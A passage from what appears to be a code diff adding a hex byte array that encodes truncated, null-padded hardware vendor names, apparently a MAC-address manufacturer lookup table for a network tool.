0x61, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x54, +0x4d, 0x61, 0x73, 0x63, 0x68, 0x69, 0x6e, 0x65, +0x4f, 0x75, 0x6c, 0x6c, 0x69, 0x6d, 0x49, 0x6e, +0x44, 0x69, 0x73, 0x68, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x69, 0x6e, 0x64, 0x73, 0x40, 0x57, 0x6f, +0x54, 0x72, 0x6f, 0x70, 0x69, 0x63, 0x4e, 0x65, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x4e, 0x65, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x2d, 0x4c, 0x69, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, +0x41, 0x76, 0x69, 0x6c, 0x69, 0x6e, 0x6b, 0x73, +0x4c, 0x79, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x4c, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x69, 0x73, 0x69, +0x44, 0x69, 0x72, 0x63, 0x54, 0x65, 0x63, 0x68, +0x50, 0x72, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, +0x51, 0x75, 0x61, 0x6b, 0x65, 0x54, 0x65, 0x63, +0x47, 0x69, 0x67, 0x61, 0x62, 0x69, 0x74, 0x4f, +0x4e, 0x65, 0x74, 0x62, 0x69, 0x6e, 0x64, 0x00, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x4d, +0x49, 0x63, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x6c, 0x65, 0x63, 0x73, 0x49, 0x6e, 0x64, +0x55, 0x68, 0x64, 0x2d, 0x45, 0x6c, 0x65, 0x6b, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x45, +0x45, 0x66, 0x6d, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x53, 0x74, 0x6f, 0x74, 0x7a, 0x46, 0x65, 0x69, +0x43, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68, +0x41, 0x64, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x50, 0x65, 0x6e, 0x69, 0x6e, 0x73, 0x75, 0x6c, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x77, 0x61, 0x72, +0x49, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00, +0x53, 0x79, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x67, 0x73, 0x61, 0x6e, 0x67, +0x4b, 0x61, 0x72, 0x61, 0x6d, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x78, +0x45, 0x6c, 0x74, 0x72, 0x6f, 0x6d, 0x61, 0x74, +0x54, 0x6f, 0x79, 0x6f, 0x2d, 0x4c, 0x69, 0x6e, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x66, 0x72, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x00, +0x42, 0x6b, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d, +0x50, 0x72, 0x6f, 0x71, 0x75, 0x65, 0x6e, 0x74, +0x46, 0x61, 0x73, 0x74, 0x77, 0x65, 0x6c, 0x00, +0x53, 0x79, 0x73, 0x70, 0x6f, 0x6c, 0x00, 0x00, +0x54, 0x61, 0x69, 0x47, 0x75, 0x65, 0x6e, 0x45, +0x52, 0x6f, 0x75, 0x74, 0x65, 0x66, 0x72, 0x65, +0x48, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x46, 0x4a, 0x6f, 0x68, 0x6e, 0x73, 0x6f, +0x4b, 0x61, 0x6f, 0x6e, 0x6d, 0x65, 0x64, 0x69, +0x45, 0x72, 0x73, 0x6b, 0x69, 0x6e, 0x65, 0x00, +0x4e, 0x65, 0x74, 0x65, 0x78, 0x63, 0x65, 0x6c, +0x49, 0x6c, 0x65, 0x76, 0x6f, 0x00, 0x00, 0x00, +0x54, 0x65, 0x70, 0x67, 0x2d, 0x55, 0x73, 0x00, +0x58, 0x65, 0x6e, 0x70, 0x61, 0x6b, 0x4d, 0x73, +0x41, 0x70, 0x74, 0x75, 0x73, 0x45, 0x6c, 0x65, +0x41, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x69, 0x73, 0x74, 0x61, 0x72, 0x43, +0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x00, 0x00, +0x48, 0x69, 0x6b, 0x61, 0x72, 0x69, 0x00, 0x00, +0x4c, 0x69, 0x6f, 0x6e, 0x74, 0x65, 0x63, 0x68, +0x53, 0x6f, 0x6e, 0x65, 0x74, 0x69, 0x63, 0x6f, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x73, 0x61, +0x54, 0x77, 0x69, 0x6e, 0x68, 0x61, 0x6e, 0x54, +0x5a, 0x65, 0x74, 0x61, 0x42, 0x72, 0x6f, 0x61, +0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x57, 0x69, 0x74, 0x68, 0x2d, 0x4e, 0x65, 0x74, +0x49, 0x70, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x4b, 0x6f, +0x4d, 0x75, 0x73, 0x61, 0x73, 0x68, 0x69, 0x45, +0x4b, 0x61, 0x72, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x5a, 0x6f, 0x6f, 0x6d, 0x4e, 0x65, 0x74, 0x77, +0x48, 0x65, 0x72, 0x63, 0x75, 0x6c, 0x65, 0x73, +0x49, 0x6e, 0x65, 0x6f, 0x71, 0x75, 0x65, 0x73, +0x56, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x72, 0x64, +0x48, 0x61, 0x73, 0x73, 0x6e, 0x65, 0x74, 0x00, +0x48, 0x6f, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x6f, 0x77, 0x6b, 0x65, 0x79, 0x4d, 0x69, +0x4d, 0x69, 0x74, 0x61, 0x64, 0x65, 0x6e, 0x73, +0x53, 0x6f, 0x66, 0x61, 0x77, 0x61, 0x72, 0x65, +0x43, 0x6f, 0x72, 0x72, 0x69, 0x67, 0x65, 0x6e, +0x57, 0x69, 0x7a, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x61, 0x43, 0x6f, +0x33, 0x75, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x69, 0x73, 0x74, 0x65, 0x6c, 0x00, +0x41, 0x74, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x42, 0x61, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x76, 0x65, 0x6e, 0x65, 0x72, 0x67, +0x49, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x74, 0x74, 0x6c, 0x65, 0x66, 0x65, +0x53, 0x68, 0x69, 0x43, 0x6f, 0x6e, 0x74, 0x72, +0x45, 0x78, 0x63, 0x65, 0x6c, 0x4d, 0x61, 0x73, +0x4e, 0x65, 0x78, 0x74, 0x67, 0x69, 0x67, 0x00, +0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, +0x52, 0x6f, 0x6d, 0x77, 0x69, 0x6e, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x5a, +0x53, 0x74, 0x26, 0x54, 0x49, 0x6e, 0x73, 0x74, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x50, 0x72, 0x6f, +0x44, 0x69, 0x62, 0x61, 0x6c, 0x53, 0x41, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x47, 0x65, 0x6e, 0x65, +0x56, 0x6f, 0x6c, 0x74, 0x61, 0x69, 0x72, 0x65, +0x43, 0x26, 0x53, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x61, 0x6e, 0x79, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x74, 0x61, 0x6b, 0x65, +0x59, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x6e, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x53, +0x55, 0x74, 0x63, 0x43, 0x63, 0x73, 0x00, 0x00, +0x4b, 0x65, 0x62, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x53, 0x6f, 0x6e, 0x6f, 0x73, 0x69, 0x74, 0x65, +0x47, 0x69, 0x67, 0x61, 0x70, 0x68, 0x6f, 0x74, +0x42, 0x6c, 0x75, 0x65, 0x6b, 0x6f, 0x72, 0x65, +0x55, 0x6e, 0x69, 0x6b, 0x43, 0x26, 0x43, 0x00, +0x54, 0x72, 0x69, 0x6c, 0x6f, 0x67, 0x79, 0x43, +0x54, 0x6d, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x65, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x43, +0x50, 0x61, 0x6e, 0x61, 0x73, 0x61, 0x73, 0x00, +0x4d, 0x6f, 0x6e, 0x64, 0x69, 0x61, 0x6c, 0x45, +0x49, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63, 0x68, +0x45, 0x73, 0x74, 0x65, 0x65, 0x6d, 0x4e, 0x65, +0x43, 0x68, 0x72, 0x79, 0x73, 0x61, 0x6c, 0x69, +0x56, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x72, 0x43, +0x53, 0x6e, 0x65, 0x64, 0x66, 0x61, 0x72, 0x54, +0x4d, 0x74, 0x6c, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x4d, 0x61, 0x79, 0x65, 0x6b, 0x61, 0x77, 0x61, +0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x45, 0x6c, +0x48, 0x65, 0x6c, 0x69, 0x78, 0x54, 0x65, 0x63, +0x46, 0x6f, 0x72, 0x74, 0x69, 0x6e, 0x65, 0x74, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x41, 0x63, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x6b, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x72, 0x6f, +0x43, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x73, 0x74, 0x6d, 0x61, 0x6e, 0x48, +0x57, 0x65, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x54, +0x4d, 0x64, 0x73, 0x47, 0x61, 0x74, 0x65, 0x77, +0x4d, 0x61, 0x63, 0x61, 0x74, 0x4f, 0x70, 0x74, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x47, +0x43, 0x61, 0x63, 0x68, 0x65, 0x76, 0x69, 0x73, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x61, 0x6d, 0x43, +0x46, 0x69, 0x72, 0x73, 0x74, 0x65, 0x63, 0x68, +0x41, 0x26, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6c, 0x61, 0x6e, 0x6d, 0x65, 0x63, 0x61, +0x54, 0x73, 0x74, 0x42, 0x69, 0x6f, 0x6d, 0x65, +0x48, 0x65, 0x61, 0x6d, 0x61, 0x6e, 0x53, 0x79, +0x54, 0x65, 0x6c, 0x65, 0x62, 0x61, 0x75, 0x00, +0x56, 0x73, 0x6e, 0x53, 0x79, 0x73, 0x74, 0x65, +0x59, 0x6f, 0x64, 0x61, 0x43, 0x6f, 0x6d, 0x6d, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x72, 0x65, +0x53, 0x61, 0x6e, 0x79, 0x6f, 0x49, 0x6e, 0x64, +0x4d, 0x79, 0x74, 0x65, 0x63, 0x73, 0x00, 0x00, +0x49, 0x71, 0x73, 0x74, 0x6f, 0x72, 0x4e, 0x65, +0x48, 0x69, 0x74, 0x70, 0x6f, 0x69, 0x6e, 0x74, +0x48, 0x74, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x26, 0x54, 0x65, 0x63, 0x68, 0x53, 0x79, +0x41, 0x6b, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68, +0x41, 0x65, 0x72, 0x6f, 0x63, 0x6f, 0x6e, 0x63, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x49, 0x6e, +0x4f, 0x6d, 0x6e, 0x69, 0x6c, 0x75, 0x78, 0x00, +0x4f, 0x70, 0x68, 0x69, 0x74, 0x00, 0x00, 0x00, +0x44, 0x72, 0x65, 0x61, 0x6d, 0x2d, 0x4d, 0x75, +0x53, 0x61, 0x6e, 0x64, 0x76, 0x69, 0x6e, 0x65, +0x49, 0x70, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x65, 0x63, +0x41, 0x6c, 0x6c, 0x6f, 0x74, 0x43, 0x6f, 0x6d, +0x53, 0x68, 0x69, 0x62, 0x61, 0x73, 0x6f, 0x6b, +0x4d, 0x6f, 0x6c, 0x65, 0x78, 0x00, 0x00, 0x00, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x4e, +0x4a, 0x61, 0x63, 0x71, 0x75, 0x65, 0x73, 0x54, +0x4e, 0x65, 0x77, 0x69, 0x73, 0x79, 0x73, 0x00, +0x43, 0x26, 0x49, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x2d, 0x57, +0x41, 0x67, 0x66, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x50, 0x61, 0x6c, 0x6d, 0x6d, 0x69, 0x63, 0x72, +0x43, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x4c, +0x41, 0x7a, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x56, 0x69, 0x73, 0x74, 0x61, 0x43, 0x6f, 0x6e, +0x47, 0x6c, 0x79, 0x70, 0x68, 0x54, 0x65, 0x63, +0x48, 0x6f, 0x6d, 0x65, 0x6e, 0x65, 0x74, 0x43, +0x46, 0x69, 0x6c, 0x6c, 0x66, 0x61, 0x63, 0x74, +0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, 0x69, 0x63, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65, +0x42, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, 0x49, +0x45, 0x6c, 0x6d, 0x65, 0x67, 0x74, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x65, 0x70, 0x65, 0x6e, 0x64, +0x41, 0x70, 0x6f, 0x67, 0x65, 0x65, 0x49, 0x6d, +0x41, 0x75, 0x65, 0x72, 0x73, 0x77, 0x61, 0x6c, +0x4c, 0x69, 0x6e, 0x6b, 0x61, 0x67, 0x65, 0x53, +0x41, 0x6d, 0x69, 0x74, 0x53, 0x70, 0x6f, 0x6c, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x47, 0x65, 0x6e, +0x53, 0x75, 0x70, 0x65, 0x72, 0x63, 0x61, 0x6c, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6e, 0x65, 0x74, +0x53, 0x69, 0x74, 0x65, 0x63, 0x73, 0x6f, 0x66, +0x52, 0x61, 0x63, 0x65, 0x77, 0x6f, 0x6f, 0x64, +0x4e, 0x65, 0x74, 0x67, 0x65, 0x61, 0x72, 0x00, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x4d, +0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x75, 0x65, +0x4d, 0x61, 0x73, 0x73, 0x74, 0x65, 0x63, 0x68, +0x54, 0x65, 0x6c, 0x65, 0x62, 0x79, 0x74, 0x65, +0x59, 0x6f, 0x7a, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x67, 0x65, +0x53, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x54, +0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x69, 0x6f, 0x6e, +0x48, 0x69, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x48, 0x79, 0x75, 0x6e, 0x6a, 0x75, 0x43, 0x6f, +0x54, 0x72, 0x69, 0x6d, 0x62, 0x6c, 0x65, 0x45, +0x54, 0x61, 0x63, 0x68, 0x79, 0x6f, 0x6e, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x76, 0x65, +0x4d, 0x65, 0x72, 0x65, 0x74, 0x4f, 0x70, 0x74, +0x43, 0x6c, 0x6f, 0x76, 0x65, 0x72, 0x6c, 0x65, +0x49, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x65, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x47, 0x69, 0x61, 0x6e, 0x74, 0x45, 0x6c, 0x65, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x5a, +0x56, 0x69, 0x62, 0x72, 0x61, 0x74, 0x69, 0x6f, +0x54, 0x69, 0x6d, 0x65, 0x4d, 0x61, 0x6e, 0x61, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x62, 0x61, +0x4c, 0x65, 0x6e, 0x74, 0x65, 0x6e, 0x54, 0x65, +0x49, 0x6e, 0x6e, 0x6f, 0x70, 0x69, 0x61, 0x54, +0x46, 0x73, 0x6f, 0x6e, 0x61, 0x43, 0x6f, 0x6d, +0x44, 0x61, 0x74, 0x61, 0x73, 0x6f, 0x66, 0x74, +0x42, 0x72, 0x75, 0x6e, 0x6e, 0x65, 0x72, 0x45, +0x41, 0x69, 0x6a, 0x69, 0x53, 0x79, 0x73, 0x74, +0x4c, 0x6f, 0x75, 0x69, 0x73, 0x44, 0x65, 0x73, +0x53, 0x65, 0x63, 0x77, 0x65, 0x6c, 0x6c, 0x4e, +0x49, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x32, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x5a, 0x65, 0x6e, +0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x4e, +0x4c, 0x6f, 0x65, 0x77, 0x65, 0x4f, 0x70, 0x74, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x74, 0x6f, +0x4d, 0x79, 0x63, 0x61, 0x73, 0x61, 0x4e, 0x65, +0x41, 0x75, 0x74, 0x6f, 0x54, 0x65, 0x6c, 0x65, +0x4d, 0x65, 0x74, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x4e, 0x69, 0x73, 0x68, 0x69, 0x4e, 0x69, 0x70, +0x4e, 0x75, 0x64, 0x69, 0x61, 0x6e, 0x45, 0x6c, +0x56, 0x69, 0x76, 0x69, 0x64, 0x6c, 0x6f, 0x67, +0x45, 0x71, 0x75, 0x61, 0x6c, 0x6c, 0x6f, 0x67, +0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x69, 0x63, +0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x57, 0x69, +0x56, 0x65, 0x6c, 0x6f, 0x63, 0x69, 0x74, 0x79, +0x49, 0x70, 0x63, 0x61, 0x73, 0x00, 0x00, 0x00, +0x43, 0x65, 0x74, 0x61, 0x63, 0x65, 0x61, 0x6e, +0x41, 0x63, 0x6b, 0x73, 0x79, 0x73, 0x43, 0x6f, +0x47, 0x65, 0x46, 0x61, 0x6e, 0x75, 0x63, 0x41, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x70, 0x6f, +0x56, 0x69, 0x73, 0x74, 0x65, 0x6f, 0x6e, 0x00, +0x43, 0x72, 0x6f, 0x6e, 0x79, 0x78, 0x45, 0x6e, +0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x54, 0x65, +0x52, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x61, 0x70, 0x69, 0x6e, 0x66, 0x6f, 0x00, +0x43, 0x70, 0x47, 0x65, 0x6f, 0x72, 0x67, 0x65, +0x45, 0x6c, 0x6d, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x54, +0x4e, 0x61, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x73, +0x48, 0x61, 0x6c, 0x69, 0x70, 0x6c, 0x65, 0x78, +0x54, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x00, +0x56, 0x69, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x63, +0x54, 0x65, 0x6c, 0x65, 0x77, 0x69, 0x73, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63, +0x4c, 0x65, 0x61, 0x64, 0x66, 0x6c, 0x79, 0x54, +0x48, 0x61, 0x72, 0x74, 0x65, 0x63, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x73, 0x75, 0x6e, 0x67, 0x45, +0x49, 0x67, 0x6e, 0x69, 0x73, 0x4f, 0x70, 0x74, +0x42, 0x61, 0x6e, 0x67, 0x4f, 0x6c, 0x75, 0x66, +0x45, 0x61, 0x73, 0x74, 0x6d, 0x6f, 0x64, 0x65, +0x49, 0x6b, 0x61, 0x6e, 0x6f, 0x73, 0x43, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x6d, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x4c, 0x61, 0x6e, 0x76, 0x6f, 0x69, 0x63, 0x65, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x53, +0x4f, 0x6b, 0x61, 0x6e, 0x6f, 0x45, 0x6c, 0x65, +0x45, 0x2d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x69, +0x4f, 0x6e, 0x6b, 0x79, 0x6f, 0x00, 0x00, 0x00, +0x4b, 0x61, 0x6e, 0x65, 0x6d, 0x61, 0x74, 0x73, +0x4c, 0x26, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x69, 0x73, 0x61, 0x6e, 0x54, 0x65, 0x6c, +0x33, 0x6a, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x45, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x00, 0x00, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6d, +0x4d, 0x61, 0x6b, 0x75, 0x49, 0x6e, 0x66, 0x6f, +0x4d, 0x61, 0x74, 0x68, 0x73, 0x74, 0x61, 0x72, +0x55, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x00, +0x45, 0x70, 0x79, 0x67, 0x69, 0x54, 0x65, 0x63, +0x4d, 0x61, 0x6d, 0x69, 0x79, 0x61, 0x2d, 0x4f, +0x4e, 0x69, 0x6e, 0x74, 0x65, 0x6e, 0x64, 0x6f, +0x36, 0x77, 0x69, 0x6e, 0x64, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x2d, 0x44, +0x4f, 0x6e, 0x69, 0x74, 0x79, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x64, 0x69, 0x63, 0x6f, 0x72, 0x65, +0x4b, 0x69, 0x6e, 0x67, 0x65, 0x6e, 0x65, 0x54, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x63, +0x4d, 0x6f, 0x76, 0x69, 0x73, 0x74, 0x65, 0x63, +0x53, 0x69, 0x6e, 0x61, 0x67, 0x61, 0x77, 0x61, +0x42, 0x6c, 0x75, 0x65, 0x77, 0x69, 0x6e, 0x63, +0x49, 0x6d, 0x61, 0x78, 0x6e, 0x65, 0x74, 0x77, +0x48, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x00, 0x00, +0x4d, 0x6f, 0x6f, 0x67, 0x00, 0x00, 0x00, 0x00, +0x48, 0x75, 0x64, 0x73, 0x6f, 0x6e, 0x53, 0x6f, +0x53, 0x70, 0x61, 0x63, 0x65, 0x62, 0x72, 0x69, +0x49, 0x61, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x61, 0x63, 0x6f, 0x6d, 0x54, +0x53, 0x65, 0x72, 0x61, 0x6e, 0x6f, 0x61, 0x4e, +0x4d, 0x61, 0x69, 0x4c, 0x6f, 0x67, 0x69, 0x63, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x74, 0x65, 0x63, +0x4b, 0x6e, 0x63, 0x4f, 0x6e, 0x65, 0x00, 0x00, +0x44, 0x63, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, +0x46, 0x6c, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x00, +0x4e, 0x65, 0x6f, 0x73, 0x63, 0x61, 0x6c, 0x65, +0x45, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, +0x47, 0x61, 0x6c, 0x61, 0x78, 0x69, 0x73, 0x54, +0x4d, 0x61, 0x76, 0x69, 0x6e, 0x54, 0x65, 0x63, +0x53, 0x61, 0x6d, 0x6a, 0x69, 0x6e, 0x49, 0x6e, +0x56, 0x65, 0x73, 0x74, 0x65, 0x6c, 0x45, 0x6c, +0x58, 0x65, 0x6d, 0x69, 0x63, 0x73, 0x53, 0x41, +0x47, 0x65, 0x6d, 0x74, 0x65, 0x6b, 0x54, 0x65, +0x53, 0x69, 0x6e, 0x62, 0x6f, 0x6e, 0x45, 0x6c, +0x41, 0x6e, 0x67, 0x65, 0x6c, 0x49, 0x67, 0x6c, +0x4b, 0x54, 0x65, 0x63, 0x68, 0x49, 0x6e, 0x66, +0x48, 0x6f, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x65, +0x43, 0x79, 0x62, 0x65, 0x72, 0x53, 0x77, 0x69, +0x41, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6f, +0x59, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x64, 0x61, 0x74, +0x44, 0x61, 0x6b, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x6f, 0x70, +0x4d, 0x65, 0x69, 0x6b, 0x79, 0x6f, 0x45, 0x6c, +0x56, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x43, 0x6f, +0x53, 0x68, 0x69, 0x6d, 0x69, 0x7a, 0x75, 0x54, +0x59, 0x61, 0x6d, 0x61, 0x6b, 0x69, 0x45, 0x6c, +0x43, 0x6f, 0x68, 0x75, 0x45, 0x6c, 0x65, 0x63, +0x57, 0x65, 0x6c, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x6c, 0x63, 0x6f, 0x6e, 0x4c, 0x61, 0x62, +0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x4e, +0x53, 0x65, 0x64, 0x41, 0x44, 0x69, 0x76, 0x69, +0x55, 0x6e, 0x69, 0x6d, 0x6f, 0x54, 0x65, 0x63, +0x41, 0x72, 0x74, 0x4a, 0x61, 0x70, 0x61, 0x6e, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x50, +0x49, 0x70, 0x66, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x55, 0x62, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x63, +0x44, 0x61, 0x69, 0x73, 0x79, 0x54, 0x65, 0x63, +0x58, 0x4e, 0x65, 0x74, 0x32, 0x30, 0x30, 0x30, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x74, 0x65, 0x6b, +0x53, 0x6f, 0x68, 0x6f, 0x77, 0x61, 0x72, 0x65, +0x41, 0x6e, 0x6e, 0x73, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x64, 0x65, 0x73, 0x61, 0x53, 0x65, +0x57, 0x69, 0x64, 0x61, 0x78, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x64, 0x65, 0x78, 0x4c, +0x57, 0x65, 0x62, 0x77, 0x61, 0x79, 0x6f, 0x6e, +0x41, 0x6c, 0x70, 0x69, 0x6e, 0x65, 0x45, 0x6c, +0x54, 0x61, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x49, +0x53, 0x75, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00, +0x53, 0x65, 0x61, 0x6c, 0x65, 0x76, 0x65, 0x6c, +0x46, 0x63, 0x69, 0x44, 0x65, 0x75, 0x74, 0x73, +0x49, 0x6e, 0x76, 0x69, 0x76, 0x6f, 0x52, 0x65, +0x49, 0x6c, 0x72, 0x79, 0x75, 0x6e, 0x67, 0x54, +0x46, 0x61, 